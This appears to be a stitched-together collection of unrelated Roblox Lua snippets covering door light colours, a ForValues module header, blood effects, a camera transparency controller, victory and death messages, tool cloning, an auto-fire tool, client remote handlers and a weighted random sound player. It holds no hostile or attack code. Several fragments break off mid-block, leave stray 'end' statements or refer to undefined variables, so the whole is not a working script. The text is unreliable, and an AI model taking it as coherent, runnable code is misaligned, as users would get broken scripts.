game.Workspace.doorright.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.Lighting.flashcurrent.Value = "13"
--[[ Constructs a new ForValues object which maps values of a table using a `processor` function. Optionally, a `destructor` function can be specified for cleaning up values. If omitted, the default cleanup function will be used instead. Additionally, a `meta` table/value can optionally be returned to pass data created when running the processor to the destructor when the created object is cleaned up. ]]
local Package = script.Parent.Parent local Dependencies = require(script.Parent.Parent.Dependencies) local utility = Dependencies.utility local class = {} local CLASS_METATABLE = { __index = class }
--Variables
local bloodPart = script:WaitForChild("BloodPart") local bloodParticles = script:WaitForChild("BloodParticles") local bloodCache = workspace:FindFirstChild("BloodCache")
--[[ TransparencyController - Manages transparency of player character at close camera-to-subject distances 2018 Camera Update - AllYourBlox --]]
local MAX_TWEEN_RATE = 2.8 -- per second local Util = require(script.Parent:WaitForChild("CameraUtils"))
-- / Functions / --
MessagesModule.GetVictoryMessage = function(Player) local PlayersName = Player.DisplayName local VictoryMessage = VictoryMessagesModule.GetRandomMessage(PlayersName) return VictoryMessage end MessagesModule.GetDeathMessage = function(Player) local PlayersName = Player.DisplayName local DeathMessage = DeathMessagesModule.GetRandomMessage(PlayersName) return DeathMessage end
-- Change "Money" to the name of your currency. Example: Cash
local clone = tools:FindFirstChild(tool):Clone() clone.Parent = player.StarterGear -- Copy this code if you want the player to still have the tool even if he died local clone2 = tools:FindFirstChild(tool):Clone() clone2.Parent = player.StarterGear end)
---------------------------------------Function end here.
end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end --Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end local targetPos = humanoid.TargetPoint local lookAt = (targetPos - character.Head.Position).unit if (check()) then fire(lookAt) wait(0.06) onActivated() end return --Tool.Enabled = true end script.Parent.Activated:connect(onActivated)
-- Put your code down here and don't delete this entire text.
local ReplicatedStorage = game:GetService("ReplicatedStorage") local Network = require(ReplicatedStorage.GameModules.GameMechanicsCore["Network"]) local Mouse = game.Players.LocalPlayer:GetMouse() ReplicatedStorage.Events.GetPlayerMouse.OnClientInvoke = function() return workspace:Raycast(Mouse.Origin.Position, Mouse.UnitRay.Direction) end ReplicatedStorage.Events.GetValue.OnClientInvoke = function(Directory, PropName) return Directory[PropName] end
-- In radians the minimum accuracy penalty
local MinSpread = 0.0
--Weighting of Sounds
function AudioUtils.PickWeightedRandomSound(instance: Instance) local children = instance:GetChildren() local total = 0 for _, sound in pairs(children) do total += sound:GetAttribute("Weight") or 1 end -- total is now the sum of all weights --print(total) local choice = rng:NextNumber(0, total) -- choice is some number between 0 and total; sounds with larger weights take up more space in that range local threshold = 0 for _, sound in pairs(children) do threshold += sound:GetAttribute("Weight") or 1 if choice < threshold then return sound -- return the sound whose weight range contains the choice end end -- we should never end up here, but just in-case, we'll fallback to regular randomness return children[rng:NextInteger(1, #children)] end function AudioUtils.PlayOneShot(obj, folder, part) local attachment = Instance.new("Attachment", part) ---"This adorn adds a part for debugging purposes"-- ---local adorn = Instance.new("SphereHandleAdornment", attachment) ---adorn.Adornee = part ---adorn.Radius = 20 local halfSize = part.Size / 2 local x = rng:NextNumber(-halfSize.X, halfSize.X) local y = rng:NextNumber(-halfSize.Y, halfSize.Y) local z = rng:NextNumber(-halfSize.Z, halfSize.Z) attachment.Position = Vector3.new(x, y, z) ---adorn.CFrame = attachment.CFrame local clone = AudioUtils.PickWeightedRandomSound(folder):Clone() clone.Parent = attachment --print(tagName .. ": cloned sound ") local playbackRange = obj:GetAttribute("PlaybackSpeed") local volumeRange = obj:GetAttribute("Volume") clone.PlaybackSpeed = rng:NextNumber(playbackRange.Min, playbackRange.Max) clone.Volume = rng:NextNumber(volumeRange.Min, volumeRange.Max) clone.Ended:Connect(function() --print(tagName .. ": destorying attachment") attachment:Destroy() end) clone:Play() end return AudioUtils